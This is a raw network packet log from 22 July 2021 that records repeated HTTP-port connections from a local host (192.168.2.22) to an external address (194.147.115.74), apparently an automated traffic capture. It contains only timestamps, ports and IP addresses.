Jul 22, 2021 16:11:28.950002909 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.951314926 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.003638029 CEST	80	49214	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.115489960 CEST	80	49214	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.115657091 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.345336914 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.346851110 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.397701025 CEST	80	49214	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.397864103 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.399000883 CEST	80	49215	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.399117947 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.400058031 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.453078985 CEST	80	49215	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.557709932 CEST	80	49215	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.557914972 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.782850981 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.783823013 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.835971117 CEST	80	49215	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.836121082 CEST	49215	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.837043047 CEST	80	49216	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.838136911 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.838335991 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:29.890542984 CEST	80	49216	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.991446972 CEST	80	49216	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:29.991708040 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.219171047 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.219496965 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.271703005 CEST	80	49217	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.271725893 CEST	80	49216	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.272296906 CEST	49216	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.272334099 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.272991896 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.325128078 CEST	80	49217	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.440629005 CEST	80	49217	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.440758944 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.774240971 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.775175095 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.827128887 CEST	80	49217	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.827234983 CEST	49217	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.827613115 CEST	80	49218	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.828305006 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.829647064 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:30.881906033 CEST	80	49218	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.989835024 CEST	80	49218	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:30.990179062 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.219461918 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.220468998 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.272092104 CEST	80	49218	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:31.272368908 CEST	80	49219	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:31.272567034 CEST	49218	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.272573948 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.273880959 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:31.326035976 CEST	80	49219	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:32.441133976 CEST	80	49219	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:32.441272020 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.761029959 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.762505054 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.813333035 CEST	80	49219	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:32.813396931 CEST	49219	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.814594030 CEST	80	49220	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:32.814656019 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.852581978 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:32.904819012 CEST	80	49220	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.020685911 CEST	80	49220	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.020755053 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.391508102 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.392786980 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.443830013 CEST	80	49220	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.443974018 CEST	49220	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.445023060 CEST	80	49221	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.445166111 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.445880890 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.498141050 CEST	80	49221	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.601244926 CEST	80	49221	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.602744102 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.825695992 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.827153921 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.878082991 CEST	80	49221	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.878216028 CEST	49221	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.879034042 CEST	80	49222	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:33.879142046 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.880182028 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:33.932138920 CEST	80	49222	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.034898996 CEST	80	49222	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.035069942 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.256844044 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.257792950 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.308996916 CEST	80	49222	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.309175968 CEST	49222	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.309967041 CEST	80	49223	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.310087919 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.310890913 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.363158941 CEST	80	49223	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.467071056 CEST	80	49223	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.467246056 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.695219040 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.696635008 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.747806072 CEST	80	49223	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.748040915 CEST	49223	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.748605013 CEST	80	49224	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.748799086 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.750005960 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:34.801923990 CEST	80	49224	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.902857065 CEST	80	49224	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:34.903383017 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.136362076 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.137630939 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.190509081 CEST	80	49224	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.190701008 CEST	49224	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.192359924 CEST	80	49225	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.192526102 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.193599939 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.245843887 CEST	80	49225	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.361417055 CEST	80	49225	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.362556934 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.583460093 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.584492922 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.635946035 CEST	80	49225	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.636248112 CEST	49225	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.636604071 CEST	80	49226	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.636758089 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.637610912 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:35.690099955 CEST	80	49226	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.809911013 CEST	80	49226	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:35.810250998 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.037951946 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.039014101 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.090490103 CEST	80	49226	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.090626955 CEST	49226	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.091008902 CEST	80	49227	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.091103077 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.091660023 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.143683910 CEST	80	49227	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.260988951 CEST	80	49227	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.261192083 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.492254972 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.493645906 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.544698000 CEST	80	49227	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.544951916 CEST	49227	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.546093941 CEST	80	49228	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.546241999 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.546857119 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.599342108 CEST	80	49228	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.715334892 CEST	80	49228	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.715542078 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.941232920 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.942673922 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.995888948 CEST	80	49228	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.995913029 CEST	80	49229	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:36.996094942 CEST	49228	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.996138096 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:36.997251987 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.049165010 CEST	80	49229	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.152971029 CEST	80	49229	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.153179884 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.379008055 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.380461931 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.431271076 CEST	80	49229	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.431495905 CEST	49229	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.432773113 CEST	80	49230	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.432971954 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.433851004 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.486124992 CEST	80	49230	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.590899944 CEST	80	49230	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.591141939 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.822201967 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.823539019 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.874660969 CEST	80	49230	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.874803066 CEST	49230	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.875504971 CEST	80	49231	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:37.875606060 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.876390934 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:37.928503990 CEST	80	49231	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.042412996 CEST	80	49231	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.042593002 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.271862984 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.273469925 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.324263096 CEST	80	49231	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.324337959 CEST	49231	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.325607061 CEST	80	49232	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.325694084 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.326898098 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.378993988 CEST	80	49232	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.494982004 CEST	80	49232	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.495148897 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.722326040 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.723634958 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.774663925 CEST	80	49232	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.774826050 CEST	49232	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.775962114 CEST	80	49233	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.776066065 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.776685953 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:38.828888893 CEST	80	49233	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.932934999 CEST	80	49233	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:38.933146000 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.163233042 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.164248943 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.215643883 CEST	80	49233	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.215779066 CEST	49233	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.216298103 CEST	80	49234	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.216407061 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.217582941 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.269922972 CEST	80	49234	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.373692989 CEST	80	49234	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.373876095 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.594264984 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.595603943 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.646369934 CEST	80	49234	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.647545099 CEST	49234	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.648205042 CEST	80	49235	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.649893999 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.651362896 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:39.705291986 CEST	80	49235	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.809314013 CEST	80	49235	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:39.809479952 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.033351898 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.034888983 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.086759090 CEST	80	49235	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.086869001 CEST	49235	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.087891102 CEST	80	49236	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.087990046 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.088572979 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.141074896 CEST	80	49236	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.245002031 CEST	80	49236	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.245300055 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.478480101 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.479444027 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.530977011 CEST	80	49236	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.531127930 CEST	49236	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.531276941 CEST	80	49237	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.531364918 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.532183886 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.584070921 CEST	80	49237	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.698662996 CEST	80	49237	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.698759079 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.917120934 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.918066025 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.970356941 CEST	80	49237	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.970370054 CEST	80	49238	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:40.970510960 CEST	49237	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.970643997 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:40.971543074 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.024116993 CEST	80	49238	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.145374060 CEST	80	49238	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.147440910 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.377279997 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.380161047 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.430294037 CEST	80	49238	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.430457115 CEST	49238	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.432435036 CEST	80	49239	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.432852030 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.434386015 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.487278938 CEST	80	49239	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.603351116 CEST	80	49239	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.603641033 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.849433899 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.850651026 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.902318954 CEST	80	49239	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.902525902 CEST	49239	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.903218031 CEST	80	49240	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:41.903369904 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.904114008 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:41.956429958 CEST	80	49240	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.072706938 CEST	80	49240	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.072761059 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.292625904 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.308429003 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.345105886 CEST	80	49240	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.345237970 CEST	49240	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.360536098 CEST	80	49241	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.360634089 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.361474991 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.413448095 CEST	80	49241	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.517798901 CEST	80	49241	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.518026114 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.746561050 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.746762991 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.798888922 CEST	80	49241	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.798952103 CEST	80	49242	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.799128056 CEST	49241	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.799256086 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.800192118 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:42.852356911 CEST	80	49242	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.956759930 CEST	80	49242	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:42.956866026 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.190850019 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.203995943 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.243697882 CEST	80	49242	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.243782997 CEST	49242	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.256294966 CEST	80	49243	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.256377935 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.257241011 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.309981108 CEST	80	49243	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.413952112 CEST	80	49243	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.414140940 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.634334087 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.635463953 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.686745882 CEST	80	49243	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.686839104 CEST	49243	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.687396049 CEST	80	49244	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.687474966 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.688730955 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:43.740981102 CEST	80	49244	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.848915100 CEST	80	49244	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:43.849004984 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.071983099 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.073088884 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.124156952 CEST	80	49244	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.124243975 CEST	49244	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.125274897 CEST	80	49245	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.125344992 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.126646996 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.178822041 CEST	80	49245	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.293515921 CEST	80	49245	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.293761969 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.512105942 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.513958931 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.600245953 CEST	80	49245	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.600274086 CEST	80	49246	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.600363970 CEST	49245	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.600414038 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.601757050 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:44.653825998 CEST	80	49246	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.768727064 CEST	80	49246	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:44.776138067 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.001123905 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.002545118 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.053556919 CEST	80	49246	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.053693056 CEST	49246	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.054757118 CEST	80	49247	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.054867029 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.055797100 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.108078957 CEST	80	49247	194.147.115.74	192.168.2.22
